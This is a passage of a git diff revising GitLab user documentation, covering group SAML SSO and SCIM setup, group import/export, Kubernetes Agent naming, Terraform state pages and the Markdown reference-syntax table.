+++ b/doc/user/group/roadmap/index.md
@@ -19,7 +19,7 @@ Epics and milestones in a group containing a start date or due date can be visua
of a timeline (that is, a Gantt chart). The Roadmap page shows the epics and milestones in a
group, one of its subgroups, or a project in one of the groups.
-On the epic bars, you can see the each epic's title, progress, and completed weight percentage.
+On the epic bars, you can see each epic's title, progress, and completed weight percentage.
When you hover over an epic bar, a popover appears with the epic's title, start date, due date, and
weight completed.
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index 402007b85b2..7443be250bb 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -14,6 +14,10 @@ This page describes SAML for groups. For instance-wide SAML on self-managed GitL
SAML on GitLab.com allows users to sign in through their SAML identity provider. If the user is not already a member, the sign-in process automatically adds the user to the appropriate group.
+INFO:
+Use your own SAML authentication to log in to [GitLab.com](http://gitlab.com/).
+[Try GitLab Ultimate free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-saml-sso-docs).
+
User synchronization of SAML SSO groups is supported through [SCIM](scim_setup.md). SCIM supports adding and removing users from the GitLab group automatically.
For example, if you remove a user from the SCIM app, SCIM removes that same user from the GitLab group.
@@ -29,14 +33,16 @@ If required, you can find [a glossary of common terms](../../../integration/saml
Alternatively GitLab provides [metadata XML configuration](#metadata-configuration).
See [specific identity provider documentation](#providers) for more details.
1. Configure the SAML response to include a NameID that uniquely identifies each user.
-1. Configure [required assertions](#assertions) at minimum containing
- the user's email address.
+1. Configure the required [user attributes](#user-attributes), ensuring you include the user's email address.
1. While the default is enabled for most SAML providers, please ensure the app is set to have service provider
initiated calls in order to link existing GitLab accounts.
1. Once the identity provider is set up, move on to [configuring GitLab](#configuring-gitlab).
![Issuer and callback for configuring SAML identity provider with GitLab.com](img/group_saml_configuration_information.png)
+If your account is the only owner in the group after SAML is set up, you can't unlink the account. To [unlink the account](#unlinking-accounts),
+set up another user as a group owner.
+
### NameID
GitLab.com uses the SAML NameID to identify users. The NameID element:
@@ -60,15 +66,16 @@ Once users have signed into GitLab using the SSO SAML setup, changing the `NameI
We recommend setting the NameID format to `Persistent` unless using a field (such as email) that requires a different format.
Most NameID formats can be used, except `Transient` due to the temporary nature of this format.
-### Assertions
+### User attributes
+
+To create users with the correct information for improved [user access and management](#user-access-and-management),
+the user's details must be passed to GitLab as attributes in the SAML assertion. At a minimum, the user's email address
+must be specified as an attribute named `email` or `mail`.
-For users to be created with the right information with the improved [user access and management](#user-access-and-management),
-the user details need to be passed to GitLab as SAML assertions.
+GitLab.com supports the following attributes:
-At a minimum, the user's email address *must* be specified as an assertion named `email` or `mail`.
-See [the assertions list](../../../integration/saml.md#assertions) for other available claims.
-In addition to the attributes in the linked assertions list, GitLab.com supports `username`
-and `nickname` attributes.
+- `username` or `nickname`. We recommend you configure only one of these.
+- The [attributes also available](../../../integration/saml.md#assertions) to self-managed GitLab instances.
### Metadata configuration
@@ -104,7 +111,7 @@ The certificate [fingerprint algorithm](../../../integration/saml.md#notes-on-co
> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/211962) in GitLab 13.8 with allowing group owners to not go through SSO.
> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9152) in GitLab 13.11 with enforcing open SSO session to use Git if this setting is switched on.
-With this option enabled, users (except owners) must go through your group's GitLab single sign-on URL if they wish to access group resources through the UI. Users can't be manually added as members.
+With this option enabled, users (except users with the Owner role) must access GitLab using your group GitLab single sign-on URL to access group resources. Users added manually as members can't access group resources.
SSO enforcement does not affect sign in or access to any resources outside of the group. Users can view which groups and projects they are a member of without SSO sign in.
@@ -119,7 +126,7 @@ SSO has the following effects when enabled:
- For groups, users can't share a project in the group outside the top-level group,
even if the project is forked.
- For Git activity over SSH and HTTPS, users must have at least one active session signed-in through SSO before they can push to or
- pull from a GitLab repository.
+ pull from a GitLab repository.
- Credentials that are not tied to regular users (for example, access tokens and deploy keys) do not have the SSO check enforced.
- Users must be signed-in through SSO before they can pull images using the [Dependency Proxy](../../packages/dependency_proxy/index.md).
<!-- Add bullet for API activity when https://gitlab.com/gitlab-org/gitlab/-/issues/9152 is complete -->
@@ -342,6 +349,11 @@ Ensure your SAML identity provider sends an attribute statement named `Groups` o
</saml:AttributeStatement>
```
+Other attribute names such as `http://schemas.microsoft.com/ws/2008/06/identity/claims/groups`
+are not accepted as a source of groups.
+See the [SAML troubleshooting page](../../../administration/troubleshooting/group_saml_scim.md)
+for examples on configuring the required attribute name in the SAML identity provider's settings.
+
NOTE:
The value for `Groups` or `groups` in the SAML response can be either the group name or the group ID.
To inspect the SAML response, you can use one of these [SAML debugging tools](#saml-debugging-tools).
@@ -362,7 +374,7 @@ To link the SAML groups from the `saml:AttributeStatement` example above:
If a user is a member of multiple SAML groups mapped to the same GitLab group,
the user gets the highest access level from the groups. For example, if one group
is linked as `Guest` and another `Maintainer`, a user in both groups gets `Maintainer`
-access.
+access.
Users granted:
@@ -374,7 +386,10 @@ Users granted:
### Automatic member removal
After a group sync, users who are not members of a mapped SAML group are removed from
-the GitLab group.
+the GitLab group. Even if SSO authentication is successful, if an existing user is not a member of any of the configured groups:
+
+- They get an "unauthorized" message if they try to view the group.
+- All of their permissions to subgroups and projects are also removed.
For example, in the following diagram:
@@ -475,6 +490,24 @@ Specific attention should be paid to:
- The presence of a `X509Certificate`, which we require to verify the response signature.
- The `SubjectConfirmation` and `Conditions`, which can cause errors if misconfigured.
+#### Generate a SAML Response
+
+SAML Responses can be used to preview the attribute names and values sent in the assertions list while attempting to sign in using an IdP.
+
+To generate a SAML Response:
+
+1. Install either:
+ - [SAML Chrome Panel](https://chrome.google.com/webstore/detail/saml-chrome-panel/paijfdbeoenhembfhkhllainmocckace) for Chrome.
+ - [SAML-tracer](https://addons.mozilla.org/en-US/firefox/addon/saml-tracer/) for Firefox.
+1. Open a new browser tab.
+1. Open the SAML tracer console:
+ - Chrome: Right click on the page, select **Inspect**, then click on the SAML tab in the opened developer console.
+ - Firefox: Select the SAML-tracer icon located on the browser toolbar.
+1. Go to the GitLab single sign-on URL for the group in the same browser tab with the SAML tracer open.
+1. Select **Authorize** or attempt to log in. A SAML response is displayed in the tracer console that resembles this
+ [example SAML response](#example-saml-response).
+1. Within the SAML tracer, select the **Export** icon to save the response in JSON format.
+
### Verifying configuration
For convenience, we've included some [example resources](../../../administration/troubleshooting/group_saml_scim.md) used by our Support Team. While they may help you verify the SAML app configuration, they are not guaranteed to reflect the current state of third-party products.
diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md
index dd4558b4a3e..2651bcb9e12 100644
--- a/doc/user/group/saml_sso/scim_setup.md
+++ b/doc/user/group/saml_sso/scim_setup.md
@@ -115,12 +115,7 @@ configuration. Otherwise, the Okta SCIM app may not work properly.
1. Sign in to Okta.
1. Ensure you are in the Admin section by selecting the **Admin** button located in the top right. The admin button is not visible from the admin page.
-
- NOTE:
- If you're using the Developer Console, select **Developer Console** in the top
- bar and then select **Classic UI**. Otherwise, you may not see the buttons described in the following steps:
-
-1. In the **Application** tab, select **Add Application**.
+1. In the **Application** tab, select **Browse App Catalog**.
1. Search for **GitLab**, find and select on the 'GitLab' application.
1. On the GitLab application overview page, select **Add**.
1. Under **Application Visibility** select both checkboxes. Currently the GitLab application does not support SAML authentication so the icon should not be shown to users.
@@ -170,14 +165,11 @@ During provisioning:
- Duplicate usernames are also handled, by adding suffix `1` upon user creation. For example,
due to already existing `test_user` username, `test_user1` is used.
-As long as [Group SAML](index.md) has been configured, existing GitLab.com users can link to their accounts in one of the following ways:
-
-- By updating their *primary* email address in their GitLab.com user account to match their identity provider's user profile email address.
-- By following these steps:
+If [Group SAML](index.md) has been configured and you have an existing GitLab.com account, you can link your SCIM and SAML identities:
- 1. Sign in to GitLab.com if needed.
- 1. In the identity provider's dashboard select the GitLab app or visit the **GitLab single sign-on URL**.
- 1. Select the **Authorize**.
+1. Update the [primary email](../../profile/index.md#change-your-primary-email) address in your GitLab.com user account to match the
+ user profile email address in your identity provider.
+1. [Link your SAML identity](index.md#linking-saml-to-your-existing-gitlabcom-account).
We recommend users do this prior to turning on sync, because while synchronization is active, there may be provisioning errors for existing users.
@@ -303,3 +295,12 @@ As a workaround, try an alternate mapping:
1. Follow the Azure mapping instructions from above.
1. Delete the `name.formatted` target attribute entry.
1. Change the `displayName` source attribute to have `name.formatted` target attribute.
+
+#### Failed to match an entry in the source and target systems Group 'Group-Name'
+
+Group provisioning in Azure can fail with the `Failed to match an entry in the source and target systems Group 'Group-Name'` error message,
+and the error response can include a HTML result of the GitLab URL `https://gitlab.com/users/sign_in`.
+
+This error is harmless and occurs because Group provisioning was turned on but GitLab SCIM integration does not support it nor require it. To
+remove the error, follow the instructions in the Azure configuration guide to disable the option
+[`Synchronize Azure Active Directory Groups to AppName`](#azure-configuration-steps).
diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md
index 3692a2636ab..5745c499c5c 100644
--- a/doc/user/group/settings/import_export.md
+++ b/doc/user/group/settings/import_export.md
@@ -9,19 +9,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2888) in GitLab 13.0 as an experimental feature. May change in future releases.
-Existing groups running on any GitLab instance or GitLab.com can be exported with all their related data and moved to a
-new GitLab instance.
+You can export groups, with all their related data, from one GitLab instance to another.
+You can also [export projects](../../project/settings/import_export.md).
-The **GitLab import/export** button is displayed if the group import option in enabled.
+## Enable export for a group
-See also:
+Prerequisite:
-- [Group Import/Export API](../../../api/group_import_export.md)
-- [Project Import/Export](../../project/settings/import_export.md)
-- [Project Import/Export API](../../../api/project_import_export.md)
+- You must have the [Owner role](../../permissions.md) for the group.
-Users with the [Owner role](../../permissions.md) for a group can enable
-import and export for that group:
+To enable import and export for a group:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > General**.
@@ -70,8 +67,11 @@ WARNING:
This feature will be [deprecated](https://gitlab.com/groups/gitlab-org/-/epics/4619)
in GitLab 14.6 and replaced by [GitLab Migration](../import/).
-Users with the [Owner role](../../permissions.md) for a group can export the
-contents of that group:
+Prerequisites:
+
+- You must have the [Owner role](../../permissions.md) for the group.
+
+To export the contents of a group:
1. On the top bar, select **Menu > Groups** and find your group.
1. On the left sidebar, select **Settings > General**.
@@ -88,6 +88,8 @@ NOTE:
The maximum import file size can be set by the Administrator, default is `0` (unlimited).
As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md). Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8.
+You can also use the [group import/export API](../../../api/group_import_export.md).
+
### Between CE and EE
You can export groups from the [Community Edition to the Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/) and vice versa.
@@ -96,6 +98,10 @@ The Enterprise Edition retains some group data that isn't part of the Community
## Importing the group
+WARNING:
+This feature will be [deprecated](https://gitlab.com/groups/gitlab-org/-/epics/4619)
+in GitLab 14.8 and replaced by [GitLab Migration](../import/).
+
1. Create a new group:
- On the top bar, select **New** (**{plus}**) and then **New group**.
- On an existing group's page, select the **New subgroup** button.
diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md
index a0a13c71d95..b91e258b04a 100644
--- a/doc/user/group/value_stream_analytics/index.md
+++ b/doc/user/group/value_stream_analytics/index.md
@@ -86,8 +86,8 @@ the date filter behavior to filter the end event time of the currently selected
The change makes it possible to get a much better picture about the completed items within the
stage and helps uncover long-running items.
-For example, an issue was created a year ago and the current stage was finished in the current month.
-If you were to look at the metrics for the last three months, this issue would not be included in the calculation of
+For example, an issue was created a year ago and the current stage was finished in the current month.
+If you were to look at the metrics for the last three months, this issue would not be included in the calculation of
the stage metrics. With the new date filter, this item would be included.
DISCLAIMER:
@@ -100,7 +100,7 @@ sole discretion of GitLab Inc.
## How metrics are measured
-> DORA API-based deployment metrics for group-level Value Stream Analytics were
+> DORA API-based deployment metrics for group-level Value Stream Analytics were
> [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/337256) from GitLab Ultimate to GitLab Premium in 14.3.
The "Time" metrics near the top of the page are measured as follows:
diff --git a/doc/user/img/award_emoji_comment_awarded.png b/doc/user/img/award_emoji_comment_awarded.png
deleted file mode 100644
index 111793ebf8a..00000000000
--- a/doc/user/img/award_emoji_comment_awarded.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/img/award_emoji_comment_picker.png b/doc/user/img/award_emoji_comment_picker.png
deleted file mode 100644
index 07f90c898ed..00000000000
--- a/doc/user/img/award_emoji_comment_picker.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/img/award_emoji_select.png b/doc/user/img/award_emoji_select.png
deleted file mode 100644
index 269282b94b0..00000000000
--- a/doc/user/img/award_emoji_select.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/img/award_emoji_select_v14_6.png b/doc/user/img/award_emoji_select_v14_6.png
new file mode 100644
index 00000000000..c8185a1b4cb
--- /dev/null
+++ b/doc/user/img/award_emoji_select_v14_6.png
Binary files differ
diff --git a/doc/user/infrastructure/clusters/connect/index.md b/doc/user/infrastructure/clusters/connect/index.md
index 21387998a17..9e57622875d 100644
--- a/doc/user/infrastructure/clusters/connect/index.md
+++ b/doc/user/infrastructure/clusters/connect/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The [certificate-based Kubernetes integration with GitLab](../index.md)
was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8)
-in GitLab 14.5. To connect your clusters, use the [GitLab Kubernetes Agent](../../../clusters/agent/index.md).
+in GitLab 14.5. To connect your clusters, use the [GitLab Agent](../../../clusters/agent/index.md).
<!-- TBA: (We need to resolve https://gitlab.com/gitlab-org/gitlab/-/issues/343660 before adding this line)
If you don't have a cluster yet, create one and connect it to GitLab through the Agent.
diff --git a/doc/user/infrastructure/clusters/deploy/inventory_object.md b/doc/user/infrastructure/clusters/deploy/inventory_object.md
index d5840641aab..47063dcae96 100644
--- a/doc/user/infrastructure/clusters/deploy/inventory_object.md
+++ b/doc/user/infrastructure/clusters/deploy/inventory_object.md
@@ -9,10 +9,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0.
An inventory object is a `ConfigMap` object for keeping track of the set of objects applied to a cluster.
-When you remove objects from a manifest repository, GitLab Kubernetes Agent uses a corresponding inventory object to
+When you remove objects from a manifest repository, the Agent uses a corresponding inventory object to
prune (delete) objects from the cluster.
-The GitLab Kubernetes Agent creates an inventory object for each manifest project specified in the
+The Agent creates an inventory object for each manifest project specified in the
`gitops.manifest_projects` configuration section. The inventory object has to be stored somewhere in the cluster.
The default behavior is:
@@ -20,10 +20,10 @@ The default behavior is:
explicitly, the inventory object is stored in the `default` namespace.
- The `name` is generated from the numeric project ID of the manifest project and the numeric agent ID.
- This way the GitLab Kubernetes Agent constructs the name and local where the inventory object is
+ This way the Agent constructs the name and local where the inventory object is
stored in the cluster.
-The GitLab Kubernetes Agent cannot locate the existing inventory object if you:
+The Agent cannot locate the existing inventory object if you:
- Change `gitops.manifest_projects[].default_namespace` parameter.
- Move manifests into another project.
@@ -57,13 +57,13 @@ metadata:
## Using GitOps with pre-existing Kubernetes objects
-The GitLab Kubernetes Agent treats manifest files in the manifest repository as the source of truth. When it applies
+The Agent treats manifest files in the manifest repository as the source of truth. When it applies
objects from the files to the cluster, it tracks them in an inventory object. If an object already exists,
-GitLab Kubernetes Agent behaves differently based on the `gitops.manifest_projects[].inventory_policy` configuration.
+The Agent behaves differently based on the `gitops.manifest_projects[].inventory_policy` configuration.
Check the table below with the available options and when to use them.
`inventory_policy` value | Description |
------------------------ | ------------------------------------------------------------------------------------------- |
`must_match` | This is the default policy. A live object must have the `config.k8s.io/owning-inventory` annotation set to the same value as the `cli-utils.sigs.k8s.io/inventory-id` label on the corresponding inventory object to be updated. Object is not updated and an error is reported if the values don't match or the object doesn't have the annotation. |
`adopt_if_no_inventory` | This mode allows to "adopt" an object if it doesn't have the `config.k8s.io/owning-inventory` annotation. Use this mode if you want to start managing existing objects using the GitOps feature. Once all objects have been "adopted", we recommend you to put the setting back into the default `must_match` mode to avoid any unexpected adoptions. |
-`adopt_all` | This mode allows to "adopt" an object even if it has the `config.k8s.io/owning-inventory` annotation set to a different value. This mode can be useful if you want to migrate a set of objects from one agent to another one or from some other tool to the GitLab Kubernetes Agent. Once all objects have been "adopted", we recommend you to put the setting back into the default `must_match` mode to avoid any unexpected adoptions. |
+`adopt_all` | This mode allows to "adopt" an object even if it has the `config.k8s.io/owning-inventory` annotation set to a different value. This mode can be useful if you want to migrate a set of objects from one agent to another one or from some other tool to the Agent. Once all objects have been "adopted", we recommend you to put the setting back into the default `must_match` mode to avoid any unexpected adoptions. |
diff --git a/doc/user/infrastructure/clusters/index.md b/doc/user/infrastructure/clusters/index.md
index 06a77912876..144a8cd2d31 100644
--- a/doc/user/infrastructure/clusters/index.md
+++ b/doc/user/infrastructure/clusters/index.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Kubernetes clusters **(FREE)**
-To connect clusters to GitLab, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md).
+To connect clusters to GitLab, use the [GitLab Agent](../../clusters/agent/index.md).
## Certificate-based Kubernetes integration (DEPRECATED)
@@ -24,7 +24,7 @@ It had the following issues:
- Users were constantly reporting issues with features based on this model.
For this reason, we started to build features based on a new model, the
-[GitLab Kubernetes Agent](../../clusters/agent/index.md).
+[GitLab Agent](../../clusters/agent/index.md).
Maintaining both methods in parallel caused a lot of confusion
and significantly increased the complexity to use, develop, maintain, and
document them. For this reason, we decided to deprecate them to focus on the
@@ -38,7 +38,7 @@ Follow this [epic](https://gitlab.com/groups/gitlab-org/configure/-/epics/8)
for updates.
You can find technical information about why we moved away from cluster certificates into
-the Kubernetes Agent model on the [Agent's blueprint documentation](../../../architecture/blueprints/gitlab_to_kubernetes_communication/index.md).
+the GitLab Agent model on the [Agent's blueprint documentation](../../../architecture/blueprints/gitlab_to_kubernetes_communication/index.md).
## Deprecated features
@@ -52,13 +52,12 @@ the Kubernetes Agent model on the [Agent's blueprint documentation](../../../arc
- [Cluster integrations](../../clusters/integrations.md)
- [Cluster cost management](../../clusters/cost_management.md)
- [Cluster environments](../../clusters/environments.md)
-- [Canary Deployments](../../project/canary_deployments.md)
+- [Advanced traffic control with Canary Ingress](../../project/canary_deployments.md#advanced-traffic-control-with-canary-ingress-deprecated)
- [Serverless](../../project/clusters/serverless/index.md)
- [Deploy Boards](../../project/deploy_boards.md)
- [Pod logs](../../project/clusters/kubernetes_pod_logs.md)
- [Clusters health](manage/clusters_health.md)
- [Crossplane integration](../../clusters/crossplane.md)
-- [Auto Deploy](../../../topics/autodevops/stages.md#auto-deploy)
- [Web terminals](../../../administration/integration/terminal.md)
### Cluster levels
diff --git a/doc/user/infrastructure/iac/index.md b/doc/user/infrastructure/iac/index.md
index 89df9c1d18f..15a680e2193 100644
--- a/doc/user/infrastructure/iac/index.md
+++ b/doc/user/infrastructure/iac/index.md
@@ -96,10 +96,17 @@ owned by GitLab, where everyone can contribute.
The [documentation of the provider](https://registry.terraform.io/providers/gitlabhq/gitlab/latest/docs)
is available as part of the official Terraform provider documentations.
-## Create a new cluster through IaC
+## Create a new cluster through IaC (DEPRECATED)
Learn how to [create a new cluster on Google Kubernetes Engine (GKE)](../clusters/connect/new_gke_cluster.md).
+NOTE:
+The linked tutorial connects the cluster to GitLab through cluster certificates,
+and this method was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8)
+in GitLab 14.5. You can still create a cluster through IaC and then connect it to GitLab
+through the [Agent](../../clusters/agent/index.md), the default and fully supported
+method to connect clusters to GitLab.
+
## Troubleshooting
### `gitlab_group_share_group` resources not detected when subgroup state is refreshed
diff --git a/doc/user/infrastructure/iac/mr_integration.md b/doc/user/infrastructure/iac/mr_integration.md
index e92b2d919ae..ab59f8ad64b 100644
--- a/doc/user/infrastructure/iac/mr_integration.md
+++ b/doc/user/infrastructure/iac/mr_integration.md
@@ -10,7 +10,7 @@ Collaborating around Infrastructure as Code (IaC) changes requires both code cha
## Output Terraform Plan information into a merge request
-Using the [GitLab Terraform Report artifact](../../../ci/yaml/index.md#artifactsreportsterraform),
+Using the [GitLab Terraform Report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsterraform),
you can expose details from `terraform plan` runs directly into a merge request widget,
enabling you to see statistics about the resources that Terraform creates,
modifies, or destroys.
@@ -62,7 +62,7 @@ To manually configure a GitLab Terraform Report artifact:
1. Define a `script` that runs `terraform plan` and `terraform show`. These commands
pipe the output and convert the relevant bits into a store variable `PLAN_JSON`.
This JSON is used to create a
- [GitLab Terraform Report artifact](../../../ci/yaml/index.md#artifactsreportsterraform).
+ [GitLab Terraform Report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsterraform).
The Terraform report obtains a Terraform `tfplan.json` file. The collected
Terraform plan report is uploaded to GitLab as an artifact, and is shown in merge requests.
diff --git a/doc/user/infrastructure/iac/terraform_state.md b/doc/user/infrastructure/iac/terraform_state.md
index 84d1edbe2f7..a45ef02622f 100644
--- a/doc/user/infrastructure/iac/terraform_state.md
+++ b/doc/user/infrastructure/iac/terraform_state.md
@@ -17,7 +17,7 @@ to securely store the state files in local storage (the default) or
WARNING:
Using local storage (the default) on clustered deployments of GitLab will result in
a split state across nodes, making subsequent executions of Terraform inconsistent.
-You are highly advised to use a remote storage in that case.
+You are highly advised to use a remote storage resource in that case.
The GitLab managed Terraform state backend can store your Terraform state easily and
securely, and spares you from setting up additional remote resources like
@@ -28,7 +28,7 @@ Amazon S3 or Google Cloud Storage. Its features include:
- Locking and unlocking state.
- Remote Terraform plan and apply execution.
-A GitLab **administrator** must [setup the Terraform state storage configuration](../../../administration/terraform_state.md)
+A GitLab **administrator** must [set up the Terraform state storage configuration](../../../administration/terraform_state.md)
before using this feature.
## Permissions for using Terraform
@@ -89,7 +89,7 @@ local machine, this is a simple way to get started:
```
If you already have a GitLab-managed Terraform state, you can use the `terraform init` command
-with the prepopulated parameters values:
+with the pre-populated parameters values:
1. On the top bar, select **Menu > Projects** and find your project.
1. On the left sidebar, select **Infrastructure > Terraform**.
@@ -300,7 +300,7 @@ any changes that are required for your infrastructure. All Terraform commands
should now work.
If you ever set or change modules or backend configuration for Terraform,
-rerun this command to reinitialize your working directory. If you forget, other
+re-run this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.
```
diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md
index 3bb518596cc..d8e75928675 100644
--- a/doc/user/infrastructure/index.md
+++ b/doc/user/infrastructure/index.md
@@ -30,11 +30,11 @@ Learn more about how GitLab can help you run [Infrastructure as Code](iac/index.
## Integrated Kubernetes management
The GitLab integration with Kubernetes helps you to install, configure, manage, deploy, and troubleshoot
-cluster applications. With the GitLab Kubernetes Agent, you can connect clusters behind a firewall,
+cluster applications. With the GitLab Agent, you can connect clusters behind a firewall,
have real-time access to API endpoints, perform pull-based or push-based deployments for production
and non-production environments, and much more.
-Learn more about the [GitLab Kubernetes Agent](../clusters/agent/index.md).
+Learn more about the [GitLab Agent](../clusters/agent/index.md).
## Runbooks in GitLab
diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md
deleted file mode 100644
index 81e8f7cbd33..00000000000
--- a/doc/user/infrastructure/mr_integration.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'iac/mr_integration.md'
-remove_date: '2021-11-26'
----
-
-This document was moved to [another location](iac/mr_integration.md).
-
-<!-- This redirect file can be deleted after <2021-11-26>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md
deleted file mode 100644
index e71291d502e..00000000000
--- a/doc/user/infrastructure/terraform_state.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'iac/terraform_state.md'
-remove_date: '2021-11-26'
----
-
-This document was moved to [another location](iac/terraform_state.md).
-
-<!-- This redirect file can be deleted after <2021-11-26>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md
index 4bbd82d01a8..a184f00f6f6 100644
--- a/doc/user/instance/clusters/index.md
+++ b/doc/user/instance/clusters/index.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5. To connect clusters to GitLab,
-use the [GitLab Kubernetes Agent](../../clusters/agent/index.md).
+use the [GitLab Agent](../../clusters/agent/index.md).
Similar to [project-level](../../project/clusters/index.md)
and [group-level](../../group/clusters/index.md) Kubernetes clusters,
diff --git a/doc/user/markdown.md b/doc/user/markdown.md
index d20e9c7a30e..1b3cd5d4478 100644
--- a/doc/user/markdown.md
+++ b/doc/user/markdown.md
@@ -11,7 +11,7 @@ GitLab automatically renders Markdown content. For example, when you add a comme
you type the text in the Markdown language. When you save the issue, the text is rendered
with a set of styles. These styles are described on this page.
-For example, in Markdown, an ordered list looks like this:
+For example, in Markdown, an unordered list looks like this:
```markdown
- Cat
@@ -249,7 +249,7 @@ the content. This data can be used by static site generators like [Jekyll](https
When you view a Markdown file rendered by GitLab, front matter is displayed as-is,
in a box at the top of the document. The HTML content displays after the front matter. To view an example,
you can toggle between the source and rendered version of a
-[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md).
+[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/index.md).
In GitLab, front matter is used only in Markdown files and wiki pages, not the other
places where Markdown formatting is supported. It must be at the very top of the document
@@ -516,30 +516,30 @@ version to reference other projects from the same namespace.
GitLab Flavored Markdown recognizes the following:
-| references | input | cross-project reference | shortcut inside same namespace |
-| :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- |
-| specific user | `@user_name` | | |
-| specific group | `@group_name` | | |
-| entire team | `@all` | | |
-| project | `namespace/project>` | | |
-| issue | ``#123`` | `namespace/project#123` | `project#123` |
-| merge request | `!123` | `namespace/project!123` | `project!123` |
-| snippet | `$123` | `namespace/project$123` | `project$123` |
-| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | |
-| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` |
-| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` |
-| label by ID | `~123` | `namespace/project~123` | `project~123` |
-| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` |
-| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` |
-| scoped label by name | `~"priority::high"` | `namespace/project~"priority::high"` | `project~"priority::high"` |
-| project milestone by ID | `%123` | `namespace/project%123` | `project%123` |
-| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` |
-| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` |
-| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` |
-| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |
-| repository file references | `[README](doc/README.md)` | | |
-| repository file line references | `[README](doc/README.md#L13)` | | |
-| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |
+| references | input | cross-project reference | shortcut inside same namespace |
+| :--------------------------------------------------- | :---------------------------- | :----------------------------------------- | :------------------------------- |
+| specific user | `@user_name` | | |
+| specific group | `@group_name` | | |
+| entire team | `@all` | | |
+| project | `namespace/project>` | | |
+| issue | ``#123`` | `namespace/project#123` | `project#123` |
+| merge request | `!123` | `namespace/project!123` | `project!123` |
+| snippet | `$123` | `namespace/project$123` | `project$123` |
+| [epic](group/epics/index.md) | `&123` | `group1/subgroup&123` | |
+| vulnerability **(ULTIMATE)** <sup>1</sup> | `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` |
+| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` |
+| label by ID | `~123` | `namespace/project~123` | `project~123` |
+| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` |
+| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` |
+| scoped label by name | `~"priority::high"` | `namespace/project~"priority::high"` | `project~"priority::high"` |
+| project milestone by ID | `%123` | `namespace/project%123` | `project%123` |
+| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` |
+| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` |
+| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` |
+| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` |
+| repository file references | `[README](doc/README.md)` | | |
+| repository file line references | `[README](doc/README.md#L13)` | | |
+| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` |
1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7.
